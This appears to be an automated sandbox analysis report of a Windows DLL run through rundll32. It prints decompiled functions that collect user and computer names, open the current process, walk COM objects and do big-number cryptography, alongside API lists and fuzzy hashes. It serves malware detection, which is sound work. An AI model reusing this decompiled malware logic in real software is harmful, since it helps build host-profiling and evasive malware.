                  Function 04D57040 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 22%
                  			E04D57040(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E04D533DC(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E04D561DA(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E04D533DC((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x4d5a318 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124);
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}





















                  0x04d57047
                  0x04d5704e
                  0x04d57053
                  0x04d57056
                  0x04d5705d
                  0x04d57060
                  0x04d57063
                  0x04d57068
                  0x04d5706d
                  0x04d571c1
                  0x04d571c3
                  0x04d571c5
                  0x04d571ca
                  0x04d571ca
                  0x04d57073
                  0x04d57076
                  0x04d57079
                  0x04d5707b
                  0x04d5707b
                  0x04d5707f
                  0x00000000
                  0x00000000
                  0x04d57083
                  0x04d570af
                  0x04d570b4
                  0x04d570b6
                  0x04d570b6
                  0x04d570b9
                  0x04d570bc
                  0x04d570bc
                  0x04d570be
                  0x00000000
                  0x04d57089
                  0x04d5708b
                  0x04d570aa
                  0x04d570aa
                  0x04d570c1
                  0x04d570c1
                  0x04d570c2
                  0x04d570c2
                  0x04d570c5
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d570c5
                  0x04d5708f
                  0x04d570d6
                  0x04d570da
                  0x04d571b4
                  0x04d571b6
                  0x04d571b6
                  0x04d571b7
                  0x04d571ba
                  0x00000000
                  0x04d571ba
                  0x04d570e3
                  0x04d570f4
                  0x04d570f8
                  0x04d571b0
                  0x00000000
                  0x04d571b0
                  0x04d570fe
                  0x04d57101
                  0x04d57105
                  0x04d57109
                  0x04d5710e
                  0x04d571a6
                  0x04d571a6
                  0x00000000
                  0x04d571ac
                  0x04d57119
                  0x04d57122
                  0x04d57136
                  0x04d5713d
                  0x04d57152
                  0x04d57158
                  0x04d57160
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d57162
                  0x04d57162
                  0x04d57162
                  0x04d57169
                  0x04d57171
                  0x00000000
                  0x00000000
                  0x04d57173
                  0x04d5717c
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d5717e
                  0x04d57180
                  0x04d57183
                  0x04d57183
                  0x04d57186
                  0x04d5718a
                  0x04d5718d
                  0x04d57193
                  0x04d57196
                  0x04d5719d
                  0x00000000
                  0x04d57119
                  0x04d57094
                  0x04d5709c
                  0x04d570a2
                  0x04d570a4
                  0x04d570a4
                  0x04d570a7
                  0x04d570a9
                  0x00000000
                  0x04d570a9
                  0x04d57083
                  0x04d570c9
                  0x04d570ce
                  0x04d570d0
                  0x04d570d0
                  0x04d570d3
                  0x04d570d3
                  0x00000000

                  APIs
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  • lstrcpy.KERNEL32(43175AC4,00000020), ref: 04D5713D
                  • lstrcat.KERNEL32(43175AC4,00000020), ref: 04D57152
                  • lstrcmp.KERNEL32(00000000,43175AC4), ref: 04D57169
                  • lstrlen.KERNEL32(43175AC4), ref: 04D5718D
                  Strings
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
                  • String ID:
                  • API String ID: 3214092121-3916222277
                  • Opcode ID: 2fa882aea37fd8831412902ad6f37c0b56cebf408553559aacd537ab6629e445
                  • Instruction ID: fd4570ef7c34d3adaee3d17d249453edf1a5eb44527768eb64cd4977b6cc303b
                  • Opcode Fuzzy Hash: 2fa882aea37fd8831412902ad6f37c0b56cebf408553559aacd537ab6629e445
                  • Instruction Fuzzy Hash: 87518171B00218EFDF11DF99C484AADBBF6FF55354F24805AEC559B261CB70AA41CB90
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D51340 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D51340() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_t11 = _t43 + 2; // 0x7491c742
						_v12 = _v12 + _t11;
						_t64 = E04D533DC(_v12 + _t11 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E04D561DA(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x4d53e01
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}















                  0x04d5134e
                  0x04d51351
                  0x04d51354
                  0x04d5135a
                  0x04d5135f
                  0x04d51365
                  0x04d5136d
                  0x04d51370
                  0x04d51376
                  0x04d5137b
                  0x04d51384
                  0x04d51388
                  0x04d51395
                  0x04d51399
                  0x04d5139b
                  0x04d5139f
                  0x04d513a2
                  0x04d513b2
                  0x04d51405
                  0x04d51406
                  0x04d513b4
                  0x04d513b9
                  0x04d513ba
                  0x04d513bf
                  0x04d513c2
                  0x04d513d5
                  0x00000000
                  0x04d513d7
                  0x04d513da
                  0x04d513df
                  0x04d513ed
                  0x04d513f0
                  0x04d513f6
                  0x04d513fb
                  0x00000000
                  0x04d513fd
                  0x04d513fd
                  0x04d51400
                  0x04d51400
                  0x04d513fb
                  0x04d513d5
                  0x04d5140b
                  0x04d5140c
                  0x04d5137b
                  0x04d51412

                  APIs
                  • GetUserNameW.ADVAPI32(00000000,04D53DFF), ref: 04D51354
                  • GetComputerNameW.KERNEL32(00000000,04D53DFF), ref: 04D51370
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  • GetUserNameW.ADVAPI32(00000000,04D53DFF), ref: 04D513AA
                  • GetComputerNameW.KERNEL32(04D53DFF,7491C740), ref: 04D513CD
                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,04D53DFF,00000000,04D53E01,00000000,00000000,?,7491C740,04D53DFF), ref: 04D513F0
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
                  • String ID:
                  • API String ID: 3850880919-0
                  • Opcode ID: 3487ec459b0a704d9432fca515edd75e09be22dae5ca9584c035f7c2c5e612cf
                  • Instruction ID: f6df0db49b5e397bd702f1eda5a5709f8fb559073c1f58fed741118074cc6f33
                  • Opcode Fuzzy Hash: 3487ec459b0a704d9432fca515edd75e09be22dae5ca9584c035f7c2c5e612cf
                  • Instruction Fuzzy Hash: 6021E976E00209EFDB11DFE9C9949AEBBBCEE44301B1044AAE901E7250DB34AA459B20
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D554D8 Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D554D8(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x4d5a30c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x4d5a2fc = _t4;
					_t6 = GetCurrentProcessId();
					 *0x4d5a2f8 = _t6;
					 *0x4d5a304 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x4d5a2f4 = _t7;
					if(_t7 == 0) {
						 *0x4d5a2f4 =  *0x4d5a2f4 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}









                  0x04d554e0
                  0x04d554e6
                  0x04d554ed
                  0x00000000
                  0x04d55547
                  0x04d554ef
                  0x04d554f7
                  0x04d55504
                  0x04d55504
                  0x04d55544
                  0x00000000
                  0x04d55544
                  0x04d55506
                  0x04d55506
                  0x04d5550b
                  0x04d5551d
                  0x04d55522
                  0x04d55528
                  0x04d5552e
                  0x04d55535
                  0x04d55537
                  0x04d55537
                  0x00000000
                  0x04d5553e
                  0x04d55500
                  0x00000000
                  0x00000000
                  0x04d55502
                  0x00000000

                  APIs
                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,04D55037,?), ref: 04D554E0
                  • GetVersion.KERNEL32 ref: 04D554EF
                  • GetCurrentProcessId.KERNEL32 ref: 04D5550B
                  • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 04D55528
                  • GetLastError.KERNEL32 ref: 04D55547
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Process$CreateCurrentErrorEventLastOpenVersion
                  • String ID:
                  • API String ID: 2270775618-0
                  • Opcode ID: 9fc703e14c44d8871a8f1bc943447bd268105aea74dad236f6e72ba720363544
                  • Instruction ID: 2f1f629fb3b7461358f1185df64ad720a4affce01147ade616897caa026446a4
                  • Opcode Fuzzy Hash: 9fc703e14c44d8871a8f1bc943447bd268105aea74dad236f6e72ba720363544
                  • Instruction Fuzzy Hash: A7F031B0740312EBDB154F64B83EB193BAAF704751F104A15EA56C63E4EF7D9880CB15
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D56CDF Relevance: 6.2, APIs: 4, Instructions: 154memorystringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 46%
                  			E04D56CDF(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x4d5a348; // 0xf1d5a8
					_t5 = _t103 + 0x4d5b038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x4d59284);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x4d5a348; // 0xf1d5a8
												_t28 = _t109 + 0x4d5b0e4; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x4d5a348; // 0xf1d5a8
														_t33 = _t79 + 0x4d5b078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}





































                  0x04d56ce4
                  0x04d56ced
                  0x04d56cee
                  0x04d56cf2
                  0x04d56cf8
                  0x04d56cfe
                  0x04d56d07
                  0x04d56d0d
                  0x04d56d17
                  0x04d56d19
                  0x04d56d1f
                  0x04d56d24
                  0x04d56d2f
                  0x04d56d35
                  0x04d56d3a
                  0x04d56e5c
                  0x04d56d40
                  0x04d56d40
                  0x04d56d4d
                  0x04d56d53
                  0x04d56d59
                  0x04d56d5d
                  0x04d56d63
                  0x04d56d70
                  0x04d56d74
                  0x04d56d7a
                  0x04d56d7d
                  0x04d56d85
                  0x04d56d86
                  0x04d56d8a
                  0x04d56d8e
                  0x04d56d91
                  0x04d56d94
                  0x04d56d9a
                  0x04d56da3
                  0x04d56da9
                  0x04d56daa
                  0x04d56dad
                  0x04d56dae
                  0x04d56daf
                  0x04d56db7
                  0x04d56db8
                  0x04d56db9
                  0x04d56dbb
                  0x04d56dbf
                  0x04d56dc3
                  0x00000000
                  0x00000000
                  0x04d56dc9
                  0x04d56dd2
                  0x04d56dd8
                  0x04d56de2
                  0x04d56de6
                  0x04d56de8
                  0x04d56df5
                  0x04d56df9
                  0x04d56e01
                  0x04d56e06
                  0x04d56e18
                  0x04d56e1a
                  0x04d56e20
                  0x04d56e20
                  0x04d56e29
                  0x04d56e29
                  0x04d56e2b
                  0x04d56e31
                  0x04d56e31
                  0x04d56e34
                  0x04d56e3a
                  0x04d56e3d
                  0x04d56e46
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d56e46
                  0x04d56d9a
                  0x04d56d94
                  0x04d56d7d
                  0x04d56e4c
                  0x04d56e4c
                  0x04d56e52
                  0x04d56e52
                  0x04d56e58
                  0x04d56e58
                  0x04d56e61
                  0x04d56e67
                  0x04d56e67
                  0x04d56d24
                  0x04d56e70

                  APIs
                  • SysAllocString.OLEAUT32(04D59284), ref: 04D56D2F
                  • lstrcmpW.KERNEL32(00000000,0076006F), ref: 04D56E10
                  • SysFreeString.OLEAUT32(00000000), ref: 04D56E29
                  • SysFreeString.OLEAUT32(?), ref: 04D56E58
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: String$Free$Alloclstrcmp
                  • String ID:
                  • API String ID: 1885612795-0
                  • Opcode ID: 7e27068b3d9f84d8811561d5606aad9215d569518d1a2099c94b57787d46bcf1
                  • Instruction ID: 39fb2fbfdfc0432fe14f2657ef0f80d832b9c5d074ff99bceb10ee390cd51db2
                  • Opcode Fuzzy Hash: 7e27068b3d9f84d8811561d5606aad9215d569518d1a2099c94b57787d46bcf1
                  • Instruction Fuzzy Hash: 33513D75E00619EFCF00DFA8C4989AEB7B9FF89705B148595E915EB320DB31AD41CBA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D5597D Relevance: 6.2, APIs: 4, Instructions: 154memoryCOMMON
                  Download Yara Rule
                  APIs
                  • SysAllocString.OLEAUT32(?), ref: 04D559B8
                  • SysFreeString.OLEAUT32(00000000), ref: 04D55A9D
                    • Part of subcall function 04D56CDF: SysAllocString.OLEAUT32(04D59284), ref: 04D56D2F
                  • SafeArrayDestroy.OLEAUT32(00000000), ref: 04D55AF0
                  • SysFreeString.OLEAUT32(00000000), ref: 04D55AFF
                    • Part of subcall function 04D577E3: Sleep.KERNEL32(000001F4), ref: 04D5782B
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: String$AllocFree$ArrayDestroySafeSleep
                  • String ID:
                  • API String ID: 3193056040-0
                  • Opcode ID: c0c401753bc60c3029f8ea55d7e3d363fb693bf22f7eb1be5b32afb2498e3cc9
                  • Instruction ID: 8d43382d75bc3dd0353492d60d0c262114ff81011050c730f7d4e31d0731963d
                  • Opcode Fuzzy Hash: c0c401753bc60c3029f8ea55d7e3d363fb693bf22f7eb1be5b32afb2498e3cc9
                  • Instruction Fuzzy Hash: A7514A75600609AFDB02DFA8D894A9EB7B9FF88700B248429E905DB224DF75FD05CB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D54781 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                  Download Yara Rule
                  C-Code - Quality: 85%
                  			E04D54781(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E04D561EF(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E04D56725(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E04D57477(_t101,  &_v428, _a8, _t96 - _t81);
					E04D57477(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E04D56725(_t101, 0x4d5a1d0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E04D56725(_a16, _a4);
						E04D57894(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L04D582DA();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L04D582D4();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E04D55F09(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E04D56E71(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E04D510A0(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x4d5a1d0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}





















                  0x04d54784
                  0x04d54790
                  0x04d54796
                  0x04d5479b
                  0x04d5479f
                  0x04d54911
                  0x04d54915
                  0x04d54915
                  0x04d547a5
                  0x04d547a9
                  0x04d547ad
                  0x04d547b0
                  0x04d547bb
                  0x04d547c1
                  0x04d547c6
                  0x04d547c9
                  0x04d547e3
                  0x04d547f2
                  0x04d547fe
                  0x04d54808
                  0x04d5480d
                  0x04d5480f
                  0x04d54812
                  0x04d548c9
                  0x04d548cf
                  0x04d548e0
                  0x04d548f3
                  0x04d54909
                  0x00000000
                  0x04d5490e
                  0x04d5481b
                  0x04d54822
                  0x04d54826
                  0x04d5482c
                  0x04d5482e
                  0x04d54830
                  0x04d54832
                  0x04d54834
                  0x04d5483e
                  0x04d54843
                  0x04d54845
                  0x04d54847
                  0x04d54848
                  0x04d54849
                  0x04d5484a
                  0x04d54851
                  0x04d54858
                  0x04d5485b
                  0x04d5485b
                  0x04d54828
                  0x04d54828
                  0x04d54828
                  0x04d54863
                  0x04d5486b
                  0x04d54877
                  0x04d5487c
                  0x04d5487c
                  0x04d54881
                  0x00000000
                  0x00000000
                  0x04d54883
                  0x04d54886
                  0x04d54893
                  0x00000000
                  0x00000000
                  0x04d54895
                  0x04d54895
                  0x04d548a2
                  0x04d5487c
                  0x04d54881
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d54881
                  0x04d548ac
                  0x04d548af
                  0x04d548b2
                  0x04d548b9
                  0x04d548b9
                  0x04d548c6
                  0x00000000
                  0x04d548c6
                  0x04d547b2
                  0x04d547b6
                  0x04d547b7
                  0x04d547b9
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d547b9
                  0x00000000

                  APIs
                  • _allmul.NTDLL(?,00000000,00000000,00000001), ref: 04D54834
                  • _aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 04D5484A
                  • memset.NTDLL ref: 04D548F3
                  • memset.NTDLL ref: 04D54909
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: memset$_allmul_aulldiv
                  • String ID:
                  • API String ID: 3041852380-0
                  • Opcode ID: 56b3dd672323ff20b33caff63e5a198a5f72840c27464d6fd46e575c4398c7d2
                  • Instruction ID: b930d3c27cf15e15120189d51afc7601480dd6eb3b0afae15717e4bd3225e1de
